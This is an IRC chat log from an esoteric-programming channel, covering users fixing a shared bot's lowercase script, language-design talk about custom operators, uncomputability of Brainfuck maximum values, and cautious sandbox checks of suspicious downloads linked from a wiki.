Galaxy. 23:42:42 int-e: shachaf may have been talking about the page for people like Ford 23:42:49 I'd go with the obituraries 23:43:02 Does the Readers' Digest have obituraries? 23:43:04 Taneb: hmm, didn't think of that 23:43:05 We've got (well, had; I think the roof collapsed where they were) some old (1950s?) issues of the Reader's Digest fi-localized version (Valitut Palat). 23:43:16 I remember they had lots of predictions for the future. 23:43:37 We're past all those dates, and for some reason not quite all cities are enclosed in bubbles yet. 23:44:12 Instead we have Google bubbles, Apple buggles; I'm sure there are Bing bubbles as well... 23:44:42 -!- Frooxius has quit (Quit: *bubbles away*). 23:45:06 -!- hppavilion[1] has joined. 23:45:16 I had an idea for a usable language I'm designing 23:45:47 Ah yes, Douglas Adams again. "I really didn't foresee the Internet. But then, neither did the computer industry. Not that that tells us very much of course--the computer industry didn't even foresee that the century was going to end." 23:46:05 :D 23:47:38 -!- impomatic_ has joined. 23:47:50 `? ☃ 23:47:51 ​☃? ¯\(°​_o)/¯ 23:47:51 int-e: xD 23:49:22 -!- idris-bot has joined. 23:49:44 I'm calling the idea Assignment Overloading. It's stupid, and potentially useless, but would lead to some fun programming things and interesting new design patterns 23:49:46 `le/rn ☃/Frosty the Snowman / had a very shiny nose / And everywhere that Frosty went / the nose was sure to go. 23:49:48 Learned «⸃» 23:49:58 oops 23:50:07 Good job. 23:50:12 `? ☃ 23:50:13 Frosty the Snowman / had a very shiny nose / And everywhere that Frosty went / the nose was sure to go. 23:50:16 Huh 23:50:19 oh well, it worked. 23:50:22 Weird 23:50:34 `cat le/rn 23:50:35 ​#!/bin/bash \ [[ "$1" = */* ]] || exit \ topic=$(echo "$1" | lowercase | cut -d / -f 1) \ [ -z "$topic" ] && exit 1 \ value=$(echo "$1" | cut -d / -f 2-) \ echo "$value" > wisdom/"$topic" && echo "Learned «$topic»" 23:51:11 `unidecode «⸃» 23:51:13 ​[U+00AB LEFT-POINTING DOUBLE ANGLE QUOTATION MARK] [U+2E03 RIGHT SUBSTITUTION BRACKET] [U+00BB RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK] 23:51:35 `file le/rn 23:51:37 le/rn: symbolic link to `../bin/slashlearn' 23:51:45 `file bin/slashlearn 23:51:45 bin/slashlearn: Bourne-Again shell script, UTF-8 Unicode text executable 23:53:25 `` echo ☃ | lowercase 23:53:26 ​⸃ 23:53:35 huh 23:53:45 `cat bin/lowercase 23:53:46 ​#!/bin/bash \ tr A-ZØ a-zø 23:54:26 ^ord ☃ 23:54:27 226 152 131 23:54:34 ^ord Ø 23:54:34 195 152 23:54:43 ic 23:54:56 ^ord ⸃ 23:54:56 226 184 131 23:55:05 ^ord ø 23:55:05 195 184 23:56:09 `` sed -i '2ctr A-Z a-z' bin/lowercase 23:56:11 No output. 23:56:16 `cat bin/lowercase 23:56:17 ​#!/bin/bash \ tr A-Z a-z 23:56:34 `? Ørjan 23:56:35 ​Ørjan? ¯\(°​_o)/¯ 23:56:45 `? ørjan 23:56:46 ​Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers. 23:56:56 `cat bin/? 23:56:56 ​#!/bin/sh \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "$topic1" = "ngevd" \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnooodl; \ 23:57:13 `ln -s ørjan wisdom/Ørjan 23:57:14 ln: invalid option -- ' ' \ Try `ln --help' for more information. 23:57:22 `` ln -s ørjan wisdom/Ørjan 23:57:23 No output. 23:57:27 oh right it accidentally *would* have worked previously 23:57:30 hm... 23:57:40 int-e: i have a better idea 23:57:44 `` mv wisdom/⸃ wisdom/☃ 23:57:47 No output. 23:58:06 `cat bin/lowercase 23:58:06 ​#!/bin/bash \ tr A-Z a-z 23:58:12 `` sed 's/Z/ZØ/; s/z/zø/' bin/lowercase 23:58:12 ​#!/bin/bash \ tr A-ZØ a-zø 23:58:15 `` sed -i 's/Z/ZØ/; s/z/zø/' bin/lowercase 23:58:16 No output. 23:58:17 hth 23:58:24 -!- Melvar` has joined. 23:58:32 shachaf: um that's precisely what we *undid* you fool 23:58:37 oh 23:58:38 -!- idris-bot has quit (Ping timeout: 240 seconds). 23:58:46 look i wasn't paying attention to all that scrollback 23:58:48 `revert 23:58:54 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 23:59:01 `cat bin/lowercase 23:59:01 ​#!/bin/bash \ tr A-Z a-z 23:59:07 `? canary 23:59:08 Spjætt! 23:59:28 oerjan: my screen is so messed up from all these unicode characters that i can barely tell what's going on in here tdnh 23:59:36 `` sed -i "s/z/z | sed 's/Ø/ø/g'" bin/lowercase 23:59:36 sed: -e expression #1, char 16: unknown option to `s' 23:59:41 eek 2015-11-04: 00:00:02 `url bin/lowercase 00:00:04 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/lowercase 00:00:16 `` sed -i 's/z/z | sed "s/Ø/ø/g"' bin/lowercase 00:00:17 sed: -e expression #1, char 16: unknown option to `s' 00:00:19 also calling people fools is kind of rude 00:00:29 don't nest slashes! 00:01:01 `` sed -i "s!z!z | sed 's/Ø/ø/g'!" bin/lowercase 00:01:03 No output. 00:01:09 `cat bin/lowercase 00:01:10 ​#!/bin/bash \ tr A-Z a-z | sed 's/Ø/ø/g' 00:01:20 -!- Melvar has quit (Ping timeout: 272 seconds). 00:01:23 `` echo Ørjan | lowercase 00:01:24 ​ørjan 00:01:43 `? ☃ 00:01:44 Frosty the Snowman / had a very shiny nose / And everywhere that Frosty went / the nose was sure to go. 00:01:53 shachaf: sorry 00:02:00 `rm wisdom/Ørjan 00:02:01 No output. 00:02:48 `` echo **/*Ø* 00:02:49 wisdom/Ø 00:02:50 -!- gniourf has quit (Ping timeout: 240 seconds). 00:02:50 huh 00:02:55 `cat wisdom/Ø 00:02:56 ​Ø escaped due to a sensitive case bug 00:03:11 `cat wisdom/ø 00:03:11 ​ø is not going anywhere. 00:03:32 `? Ø 00:03:34 ​ø is not going anywhere. 00:03:39 ack 00:04:23 -!- Melvar` has quit (Ping timeout: 264 seconds). 00:05:03 -!- gniourf has joined. 00:05:25 `` shopt -s globstar; echo **/*Ø* 00:05:27 wisdom/Ø 00:05:56 -!- Melvar has joined. 00:07:11 `` shopt -s globstar dotglob; echo **/*Ø* 00:07:18 wisdom/Ø 00:07:32 darn, how does mercurial escape those... 00:08:12 `` shopt -s globstar dotglob; echo **/~c3~* 00:08:14 are you sure there's more than one 00:08:18 ​.hg/store/data/wisdom/~c3~85.i .hg/store/data/wisdom/~c3~98.i .hg/store/data/wisdom/~c3~98rjan.i .hg/store/data/wisdom/~c3~a5.i .hg/store/data/wisdom/~c3~b8.i .hg/store/data/wisdom/~c3~b8l.i .hg/store/data/wisdom/~c3~b8rjan.i 00:08:33 -!- adu has quit (Quit: adu). 00:08:57 OKAY 00:09:23 oerjan: I thought, wrongly, that it should bring up the .hg stored version (but it's .hg/store/data/wisdom/~c3~98.i) 00:10:45 oh, s/bring up/turn up/ 00:13:21 -!- boily has quit (Quit: switchin'...). 00:14:33 -!- boily has joined. 00:16:43 `? œrjan 00:16:44 ​œrjan? ¯\(°​_o)/¯ 00:16:48 `? ørjan 00:16:49 ​Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers. 00:21:00 Tanelle. I'm drinking a mysterious cola. It's not even Fentimans! 00:23:56 I thought of some really strange kind of thing, which would be 6502 codes mixed with SQL codes; you could redefine one of the unstable opcodes to now mean executing a SQL code. You can store register/memory in virtual table. 00:25:21 zzo38: What do you think of SQL and category theory? 00:28:35 Do you mean to use together? I don't know. 00:29:11 I mean category theory as describing SQL codes. 00:29:31 For example what's-it-called-joins as pullbacks. 00:30:20 I don't really know much about that, although I suppose it can be possible. 00:30:42 Which is possible? 00:35:38 As I said, I don't know! 00:40:19 -!- Wright has joined. 00:41:34 I meant which "it" can be possible. 00:45:26 I don't know!!! 00:47:19 I say I don't know // I say you don't know ♪à 00:47:22 s/à// 00:58:21 -!- Phantom_Hoover has quit (Remote host closed the connection). 01:00:58 Anyone curious about assignment overloading? 01:01:19 -!- JesseH has quit (Read error: Connection reset by peer). 01:01:37 hppavilion[1]: A bit; what stuff do you have to say about it (other than just that)? 01:02:08 Alpha Lightning Bolt + R&D's Secret Lair = You are allowed to target the battlefield. May be used if you have a lot of stuff to create creature tokens with. 01:02:55 R&D's Secret Lair is banned. 01:03:07 Yes I know 01:03:27 But if you are playing Un-cards then you can ignore that! 01:03:43 But if you are playing Un-cards then you can also ignore all errata. 01:04:32 Revised Fork + R&D's Secret Lair = Some people say it copies twice; I don't believe it. The first part has no chance to do anything as the spell has changed by that time. Modes remain the same, but you can change target, division, and you have to pay the original spell's cost rather than {RR}. 01:04:44 playing the Uns implies ignoring errata? I fail to grasp the link. 01:05:02 R&D's Secret Lair implies ignoring errata. Un-cards themselves have no errata though. 01:05:26 Therefore many of them make no sense. 01:05:59 -!- JesseH has joined. 01:06:17 If original spell was paid Phyrexian mana costs by life points or by mana, you must pay in the same way; also with hybrid mana symbol you must use the same colors, but you can still change what color is used for generic mana costs. 01:07:05 (Of course the rules aren't really meant to work with such thing at all. I just say what seems closely to the rules to me.) 01:09:00 zzo38: It's a pretty interesting idea. Not sure exactly how you would implement it in languages that don't have this one lexical feature though 01:09:48 The "Lexical Feature" I refer to is the ability to convert arbitrary strings into a name. In my language, codenamed "Castor", names can contain arbitrary symbols if their first and last two characters are _s 01:10:04 Which creates this feature for operator overloading: 01:10:26 To redefine +, for example, in a class, you give the class a method of the following form: 01:10:42 In SQL any name containing wrong symbols or reserved words require quotation marks 01:10:43 def __+__(self, other) 01:11:09 zzo38: That's another way to implement that feature 01:11:30 (Otherwise the quotation marks are optional) 01:11:33 (the alternative, competing syntax in Kastor (correct spelling, got it wrong earlier) that I think is better is __op_+__ 01:11:35 ) 01:12:02 ) 01:12:26 But to define assignment overloading, you define the __op_assign__ or __op_assign_:__ method, where : can be any operator 01:12:59 Assignment overloading takes three variables; I call them self, other, and vars 01:13:42 self is the thing on the lhs of an assignment expression, other is the value it should be assigned to, and vars is a dict representing the entirety of the program's namespace. Yeah. 01:14:35 I did have a way to override assignment operator, in a variant of C, but work entirely differently. Rather, if a variable "x" has a type "A" then the definition of the type can override what "*x=y;" means, but "x=y;" cannot be overridden. 01:14:52 So you could, for example, define a thue-like sublanguage by defining __op_assign_::__ for string as adding a new rule to an object variable in the global namespace 01:18:56 <\oren\> hi 01:21:02 \helloren\ 01:21:05 -!- zzo38 has quit (Remote host closed the connection). 01:21:52 helloily 01:22:02 QUINTHELLOPIAAAAA! 01:22:23 i didnt miss you because i logged on at work 01:22:26 bad quint 01:22:39 but you know 01:22:57 lemme know if you wanna do any gaming in the coming weeks 01:23:01 <\oren\> operator overloading is a socialist plot 01:23:50 quintopia: yup! 01:23:57 socialism is good. 01:23:58 <\oren\> also it's annoying when there aren't enough operators 01:24:03 this is a socialist plot: https://allfreedomismoral.files.wordpress.com/2013/12/inequality-graph-2a-socialism.jpg 01:26:49 <\oren\> for example, if someone defines + and = but doesn't do += 01:26:56 alright back to work 01:30:51 HERE we go: 01:30:52 http://pastebin.com/udWtqhsw 01:31:00 That took quite a while 01:31:03 Hi boily 01:31:03 -!- bb010g has joined. 01:31:11 hppavellon[1] 01:31:32 I've created a special case of Operator Overloading called "Assignment Overloading" 01:32:42 \oren\: It IS annoying why there aren't enough operators, which is why in Kastor, you can just make up operators! 01:32:52 AND it also makes them make more sense 01:33:10 In the lexer, anything that isn't composed of characters otherwise reserved is an operator 01:33:32 For example, you can define mingle to be $ such that you can actually call a$b 01:34:09 You just do it by defining the __op_$__ method for the type of the left-hand argument 01:34:42 > let a $ b = 17*a + b in 12$34 01:34:44 238 01:34:56 fizzie: Yes, I know haskell lets you do that 01:35:23 (I can't figure out any way to define unary or ternary operators thus far short of a separate file indicating which is which) 01:35:56 (OR parsing each line immediately before it's executed, but that's just stupid and forms a problem on complex statements) 01:36:55 \oren\: Another thing the language's semantics will do is make a += b equal a = a+b if not otherwise defined in __op_inline_+__ 01:38:15 I seem to recall Perl 6 also added custom operators. 01:38:27 And some other language in some really limited form. 01:41:28 Can't figure out what I'm thinking of for the last part. 01:45:54 [wiki] [[Postfix notation]] http://esolangs.org/w/index.php?diff=45081&oldid=22128 * Hppavilion1 * (+1150) Example implementation 01:47:54 That's absolutely amazing 01:48:11 -!- mihow has quit (Quit: mihow). 01:48:27 Wikipedia's example of infix notation in the english language, on https://en.wikipedia.org/wiki/Affix, is "Minne⟨flippin'⟩sota" 01:49:46 Perl 6 custom operators come in infix, prefix, postfix, circumfix and postcircumfix "categories". 01:51:07 fizzie: How do you define different fixes? 01:51:13 And what's postcircumfix? 01:51:55 Postcircumfix is stuff like "123 < 456 >" -- you have an opening and a closing symbol, and the whole thing is postfix to another expression. 01:52:27 You define them by mentioning the category in the operator definition. 01:52:38 (I just remembered my other idea for defining custom operators with fixities was to make operators have a syntactic marker; e.g. programmer-defined prefix operators would be of the syntax /.*:/ 01:52:59 res/*/+/ 01:53:10 fizzie: Oh. Um. Not sure how to implement that without parsing each line just before execution. 01:53:30 Well, I mean, Perl. 01:54:19 Oh. Right. Perl. 01:54:28 It also has a relative precedence thing, you can say your new operator "is tighter" or "is looser" than an existing operator, and it'll make it an operator that's the nearest but tighter/looser than the one you refer to. 01:55:47 And set associativity to any one out of five options (left, right, non, chain and list), because FLEXIBILITY. 01:55:49 Well I think I'll either exclude non-in fixities entirely, have a .meta file defining it (which I'd like to avoid), or make different operator types have lexical features that indicate their fixity 01:55:51 Or... 01:55:53 Idea! 01:56:22 I already was planning on having a thing called "shewuts" which are checked before anything is done with the program 01:57:01 For example, to tell the interpreter your program operates on a call queue as opposed to a stack, you do #?call-style:queue 01:57:41 I could have shewuts be used to define operator fixities and associativities! 01:57:43 YES! 01:57:46 PROBLEM SOLVED! 01:58:14 (Of couse, this all means the language is unexpressable in BNF, as the BNF is determined by the program itself) 02:00:27 Did anyone view my code example for semi-thue systems in Kastor? 02:02:44 Wow, this Perl6 "chain" fixity is pretty strange. 02:03:31 If you define ! with chain fixity, then $a ! $b ! $c ! $d gets interpreted as ($a ! $b) and ($b ! $c) and ($c ! $d) and your operator procedure gets passed all those individual pairs. 02:04:27 Werid 02:04:29 *Weird 02:05:07 ('list' associativity passes all four to the operator at once, and the rest are the usual ones.) 02:15:16 meanwhile, fungot the abyss. just got recast into it right after finding an exit. 02:15:16 boily: people keep asking, do your people wake up in time, please, please.... strange circumstances really... not surprised? tell us--are you really care that you are 02:18:03 WHAT! AGAIN! 02:18:06 AAAAAAAAAAAAAAAARGH! 02:18:47 -!- FreeFull has quit (Ping timeout: 264 seconds). 02:20:12 -!- FreeFull has joined. 02:20:36 -!- FreeFull has changed nick to Guest8810. 02:20:47 fungot: I know you are, but what am I? 02:20:47 fizzie: putain mais quelle bande de cons....... y else would there b passengers on this one out of 130 on board. 02:21:36 fungot: Can't argue with that, but mostly due to the language barrier. 02:21:36 fizzie: not in a positive way, he'll just try to land, i see the 02:22:30 -!- andrew_ has joined. 02:24:23 Wow, this Perl6 "chain" fixity is pretty strange. <-- um isn't that basically the same as python's relational operators 02:25:07 Maybe? I haven't defined any Python operators. Or at least many. 02:25:35 Makes sense for short-circuiting though, that's true. 02:26:01 no, i mean, how the builtins like < <= work 02:26:27 Ohh, right. 02:26:47 fungot: depuis quand tu chaînes des explétifs en français? 02:26:47 boily: this trailer makes him look a demon is taking his soul away to hell up and the louisiana area. much of hollywoodian happy endings. max payne 02:27:19 Hell, and Louisiana. 02:27:43 fungot: What's the difference between those two? 02:27:43 fizzie: project not yet rated! 02:27:50 are those the only options now 02:29:02 oerjan: Yes, it's for load-balancing. 02:29:16 Aren't you normally in bed by now Mr. Boily? 02:32:18 -!- oerjan has quit (Quit: Did someone mention beds). 02:35:14 -!- andrew_ has quit (Ping timeout: 272 seconds). 02:36:09 quintopia: what would make you believe that? that's preposterous! unpossible! 02:36:23 -!- boily has quit (Quit: POLEVAULTING CHICKEN). 02:43:00 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 02:47:49 -!- andrew_ has joined. 03:07:50 -!- FireFly has quit (Ping timeout: 240 seconds). 03:08:19 -!- MDude has quit (Quit: later chat). 03:08:26 -!- shikhin has quit (Ping timeout: 260 seconds). 03:11:29 -!- lleu has quit (Quit: That's what she said). 03:13:59 -!- doesthiswork has joined. 03:15:23 -!- FireFly has joined. 03:15:28 -!- shikhin has joined. 03:40:59 -!- aretecode has quit (Ping timeout: 264 seconds). 03:46:44 -!- aretecode has joined. 04:11:01 -!- zgrep_ has joined. 04:11:27 -!- nchambers has quit (Ping timeout: 240 seconds). 04:11:30 -!- skarn has quit (Ping timeout: 240 seconds). 04:11:31 -!- ineiros has quit (Ping timeout: 240 seconds). 04:11:31 -!- zgrep has quit (Excess Flood). 04:11:31 -!- ineiros has joined. 04:15:35 -!- nchambers has joined. 04:16:28 -!- skarn has joined. 04:34:40 -!- zgrep_ has changed nick to zgrep. 04:53:30 -!- zzo38 has joined. 05:07:51 -!- hppavilion[1] has joined. 05:25:27 -!- lleu has joined. 05:25:27 -!- lleu has quit (Changing host). 05:25:27 -!- lleu has joined. 06:19:59 Have you ever defined an output routine in TeX? Have you ever defined an insertion class in TeX? Have you ever implemented any kind of parser in TeX? Have you ever made up your own font with METAFONT? 06:26:43 -!- andrew_ has quit (Remote host closed the connection). 06:26:47 One use of insertion classes is as a substitute for \write when you are not shipping out the page. But I think it could be used to create vertical discretionary breaks too, with a bit of tricks. 06:28:00 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 06:28:32 -!- hppavilion[1] has joined. 06:42:07 [wiki] [[CASTLE]] N http://esolangs.org/w/index.php?oldid=45082 * Quintopia * (+10880) I've been sitting on this for like a year and a half, so I finally got around to writing it up 06:42:40 [wiki] [[Language list]] http://esolangs.org/w/index.php?diff=45083&oldid=45077 * Quintopia * (+13) /* C */ 06:53:14 -!- impomatic_ has quit (Quit: http://corewar.co.uk). 06:54:33 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 07:05:21 -!- JesseH has quit (Ping timeout: 255 seconds). 07:08:38 -!- andrew_ has joined. 07:12:41 [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45084&oldid=45035 * Bexandre * (+159) /* Leszek */ 07:13:29 [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45085&oldid=45084 * Bexandre * (-72) /* Licorne */ 07:15:20 -!- hppavilion[1] has joined. 07:17:20 -!- Xe has quit (Ping timeout: 240 seconds). 07:19:18 -!- Xe has joined. 07:20:11 -!- hppavilion[1] has quit (Read error: Connection reset by peer). 07:27:24 -!- rodgort has quit (*.net *.split). 07:29:24 -!- Wright has quit (Ping timeout: 244 seconds). 07:32:52 -!- rodgort has joined. 07:36:06 -!- FireFly has quit (Ping timeout: 240 seconds). 07:38:37 -!- FireFly has joined. 07:40:33 -!- andrew_ has quit (Remote host closed the connection). 07:41:13 -!- andrew_ has joined. 07:42:17 -!- andrew_ has quit (Remote host closed the connection). 07:42:37 -!- andrew_ has joined. 07:44:49 -!- Patashu has joined. 07:47:08 -!- doesthiswork has quit (Quit: Leaving.). 07:48:34 -!- Patashu has quit (Remote host closed the connection). 07:49:03 -!- Patashu has joined. 08:00:07 -!- bb010g has quit (Quit: Connection closed for inactivity). 08:04:50 -!- andrew_ has quit (Read error: Connection reset by peer). 08:06:14 -!- andrew_ has joined. 08:09:52 -!- andrew_ has quit (Remote host closed the connection). 08:10:23 -!- andrew_ has joined. 08:35:11 [wiki] [[Template:Vertical line]] N http://esolangs.org/w/index.php?oldid=45086 * 117.10.152.53 * (+5) Created page with "{{!}}" 08:53:40 -!- Phantom_Hoover has joined. 08:55:04 -!- sebbu2 has joined. 08:56:19 -!- sebbu has quit (Ping timeout: 240 seconds). 09:19:54 -!- lleu has quit (Ping timeout: 260 seconds). 09:29:26 documentation says "These settings can be overridden, but the defaults are usually sensible. If the default values listed below are ok for you, you can stop reading now." -- uh, if I read the values listed below, then I'll no longer be able to stop reading now. 09:29:32 How do I tell if I should stop reading now? 09:32:31 have a friend read them for you 09:35:20 it even specifically says "stop reading", which doesn't even allow for the possibility to read on and then forget what I've read with mind magic (eg. a Thought Nibbler) 09:40:07 -!- aretecode has quit (Ping timeout: 244 seconds). 09:43:03 -!- ^v has quit (Remote host closed the connection). 09:53:57 -!- AnotherTest has joined. 10:00:46 -!- shikhin has quit (Read error: Connection reset by peer). 10:00:46 -!- FireFly has quit (Read error: Connection reset by peer). 10:05:12 -!- shikhin has joined. 10:05:16 -!- FireFly has joined. 10:06:46 -!- mroman has joined. 10:07:01 I don't trust those articles with media(files|fire) downloads of .exe's 10:12:13 why not? 10:13:28 mroman: what articles is this you are talking about? articles where? 10:13:50 "here, download this virus -> http://mediafire.com/virus.exe" "i don't trust you, what if that program is actually a penis enlargement software?" 10:27:00 An email recently asked me to check an attached .jar file for the invoice. 10:27:27 Oooh, write-once-run-anywhere viri! 10:28:36 A .jar file is same format as .zip so you could also just open it with any program to open ZIP archives too, and then you can see what it is. 10:31:31 Yes. It has some rather dubious class names: http://sprunge.us/PJDY 10:31:54 (There's also some 0xe6 bytes between those +s that my browser's not rendering. 10:38:25 It looks like part of the same family as https://www.virustotal.com/en/file/61ef9b2536bca4d6fd24526c9a4ab3f8baad86ec94a54112687dd29df76d9fb6/analysis/ -- some of the details differ, but both have those stubcito.opp and textito.isn files, and slightly similar class names. 11:04:09 -!- lleu has joined. 11:06:06 -!- AnotherTest has quit (Ping timeout: 268 seconds). 11:10:42 -!- jaboja has joined. 11:16:21 -!- nitrix has quit (Ping timeout: 250 seconds). 11:18:06 Spotted a car with the licence plate "AI JOB". Wonder if that's about artificial intelligence. 11:19:57 fizzie: what did its http headers say? 11:22:01 I didn't catch those, it drove past so fast. 11:22:31 The I might've been a 1. Don't know the local requirements for plates. 11:23:45 -!- AnotherTest has joined. 11:24:21 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]). 11:25:09 I believe in the UK I and 1 are indistinguishable on license plates 11:25:44 -!- Guest95113 has joined. 11:26:35 -!- andrew_ has quit (Ping timeout: 264 seconds). 11:27:18 -!- andrew_ has joined. 11:28:02 -!- Guest8810 has quit. 11:29:44 -!- FreeFull has joined. 11:34:32 [wiki] [[Brainfuck constants]] M http://esolangs.org/w/index.php?diff=45087&oldid=43702 * LegionMammal978 * (-95) Removed extra 11:34:48 -!- boily has joined. 11:46:56 -!- idris-bot has joined. 11:49:05 -!- GoToTell_ has joined. 11:51:07 -!- GoToTell has quit (Ping timeout: 268 seconds). 11:51:15 b_jonas: http://esolangs.org/wiki/AIV for example 11:51:26 links to http://www.mediafire.com/download/dcixadngm9lgye8/aiv.exe 11:52:15 http://esolangs.org/wiki/User:Bexandre/Attic 11:52:22 that interpreter has some weird encoded things in it 11:52:27 and feeds it to CScript somehow 11:52:34 I have not decoded yet what it actually is, though 11:52:44 but it looks suspicious enough to not execute it without a sandbox :D 11:53:41 http://esolangs.org/wiki/Licorne links to http://www.mediafire.com/download/8hapxc00za591ja/LicornePL.zip 11:53:46 which contains .bat and .exe files 12:00:30 that attic interpreter looks like a cab-combressed exe file 12:01:23 [wiki] [[Licorne/Compiler]] N http://esolangs.org/w/index.php?oldid=45088 * Bexandre * (+2428) Created page with "Programmed in Batch. 
@echo off del "licorne.bat">nul ping 1.0.0.0 -n 1 -w 10 >nul cls echo @echo off >>licorne.bat set ln=-1 :lpl set /a ln=ln + 1 batbox /k if %errorleve..."
12:02:09  batbox is apparentely a tool for batch to get some ncurses-like things done
12:02:49  http://dos9.org/doc/en/html/batbox.html <- contains that snippet in the bat-file
12:04:05  although the version in the zip-file gets detected as malicious by some AV. but those could be false positives (they also flag packers like upx sometimes)
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12:04:48  but judging by the imports from kernel32.dll and such it's not doing anything too bad at least
12:04:59  SetConsoleCursorInfo and the like
12:05:01  looks ok
12:05:35  [wiki] [[Special:Log/move]] move  * Bexandre *  moved [[Licorne/Compiler]] to [[Licorne/Writer]]
12:07:37  [wiki] [[Licorne]]  http://esolangs.org/w/index.php?diff=45091&oldid=45080 * Bexandre * (+43) 
12:10:43  hm. well. ok
12:10:57  [wiki] [[Licorne]]  http://esolangs.org/w/index.php?diff=45092&oldid=45091 * Bexandre * (+80) 
12:11:02  According to my static analysis they are not malware
12:11:11  [wiki] [[Licorne]]  http://esolangs.org/w/index.php?diff=45093&oldid=45092 * Bexandre * (+1) 
12:11:23  and sandboxing yields no network traffic going on
12:11:23  so
12:16:18  [wiki] [[AIV]]  http://esolangs.org/w/index.php?diff=45094&oldid=45011 * Bexandre * (-20) 
12:16:42  [wiki] [[Licorne]]  http://esolangs.org/w/index.php?diff=45095&oldid=45093 * Bexandre * (+7) 
12:23:15  who is this Bexandre dude and why aren't they Blexandre? does it mean there'll be a Clexandre and then a Dlexandre?
12:28:49  my feeling is that they aren't suspicious. just distributingly misguided.
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12:30:11  mroman: I see
12:30:57  @tell I think Blexandre is friends with Tanea
12:30:57  Consider it noted.
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12:40:40  Taneb: i think i might be confused tdnh
12:40:48  `? Tanea
12:40:50  Tanea plays Minecrafs, Dware Fortresr, and lives in Yorj.
12:41:10  i mean by your @tell
12:42:45  --- quit: boily (Quit: POLEVAULTING CHICKEN) <-- polevaulting always reminds me of the FRC Hellympics round
12:43:35  boily  who is this Bexandre dude and why aren't they Blexandre? does it mean there'll be a Clexandre and then a Dlexandre?
12:44:14  boily is not here hth
12:44:41  Hmm
12:44:47  I did accidentally tell I
12:44:50  Woops
12:45:08  @tell boily I think Blexandre is friends with Tanea
12:45:08  Consider it noted.
12:45:09  Taneb: why isn't that "Tanea playr Minecrafs, Dware Foresr, anc liver im Yorj."?
12:45:20  ah, I understood why
12:45:26 * lifthrasiir is enlightened
12:45:27  lifthrasiir: because playr isn't a word hth
12:46:00  `? tanea
12:46:03  Tanea plays Minecrafs, Dware Fortresr, and lives in Yorj.
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13:26:59  [wiki] [[Licorne]]  http://esolangs.org/w/index.php?diff=45096&oldid=45095 * Bexandre * (+4) 
13:27:24  [wiki] [[Hello world program in esoteric languages]]  http://esolangs.org/w/index.php?diff=45097&oldid=45085 * Bexandre * (+2) /* Licorne */
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14:19:42  did you guys ever play ruzzle?
14:20:00  ok it's a game that you play on a grid with letters
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14:20:16  and you have to find words in it
14:21:06  mindboggling
14:21:21  as in, https://en.wikipedia.org/wiki/Boggle
14:22:30  yeah that
14:22:38  anyway
14:22:55  what if you had to find the longest path of unique letters?
14:23:16  if there's more than one, finding only one is fine
14:23:25  i mean more than one longest path
14:23:29  not more than one path
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14:57:01  izabera: the 4x4 or the big 5x5 version?
14:57:16  the NxN
14:57:41  uh... what set of cubes does the NxN have?
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15:07:18  [wiki] [[Postfix notation]]  http://esolangs.org/w/index.php?diff=45098&oldid=45081 * Mroman * (+188) /* Implementation */ adding a simple implementation in Haskell
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15:35:33  any guys any ideas about how to calculate the maximum number a bf program of length N can possibly compute?
15:36:07  cell size?
15:36:24  infinite
15:36:29  otherwise the answer would be 255
15:36:36  no well
15:36:38  because you can always just do a -
15:36:40  and land at 255 :)
15:36:45  no i mean
15:37:20  it was unclear if you only wanted to store a value in a cell or to print any large number
15:37:40  Just store it.
15:37:51  - would produce -1
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15:41:07  ok well, at least one can produce a reasonable lower bound
15:47:05  mroman: that's pretty obviously noncomputable in the same way as busy beaver.
15:47:10  I think you might need to answer what the steepest growing function is
15:47:15  and I think that can't really be done
15:47:43  at least for larger Ns
15:47:54  i assume you want it to halt, otherwise +[+] already wins.
15:48:02  for shorter Ns you could argue that the best you can do is an exponentation
15:48:13  oerjan: Yes @halt
15:48:28  mroman: anyway, i said it's uncomputable and i meant it.
15:49:21  and I heard it.
15:50:13  but
15:50:45 -!- shikhin has quit (Ping timeout: 240 seconds).
15:51:04  in the usual way: if you had a way to compute it, you could solve the halting problem.
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15:53:37  (step 1: wrap your program to calculate the number of steps it takes if it halts.  step 2: compute your largest number for the wrapped program length. 3: run your original program for the calculated number of steps; if it hasn't halted then, it never will.)
15:55:27  s/the calculated number of steps/a number of steps as calculated in step 2/
15:55:51 * oerjan used the word "step" for too many steps here
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15:56:01  *meanings
15:56:17  fungot: Step step step step step.
15:56:17  fizzie: this looks great. making it a wireles landing so why do u use for editng? adobe?
16:08:55  fungot, do you use raid?
16:08:55  b_jonas: grandtheftauto4films ( 11 godz. temu) komentarz usuniêty przez autora it likely takes place. i saw this accident happened in june 1988, air france
16:09:05  `? raid
16:09:17  raid? ¯\(°​_o)/¯
16:09:32  what
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17:04:40  @tell oerjan technically the algorithm could produce wrong results for programs that don't halt.
17:04:40  Consider it noted.
17:05:19  @tell oerjan So when the algorithm replies with N=1024, it is only correct if and only if the program terminates. 
17:05:19  Consider it noted.
17:05:44  @tell oerjan which means you couldn't solve the halting problem with that.
17:05:44  Consider it noted.
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17:23:19  That N there is the largest number achievable by a program of some given length L? 
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17:25:28  Then I don't see why oerjan's argument would be faulty. If the tested program hasn't halted in that many steps, it will never halt, because if it did, your algorithm would've given an incorrect result for a program that did halt, and you said it's correct for all programs that halt.
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17:57:59  One day it will say "(Quit:  Lost terminal dissease) for someone and nobody will know how to deal with that.
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18:07:59  http://www.pornhub.com/insights/what-women-want/   not so nsfw
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19:37:11  GoToTello
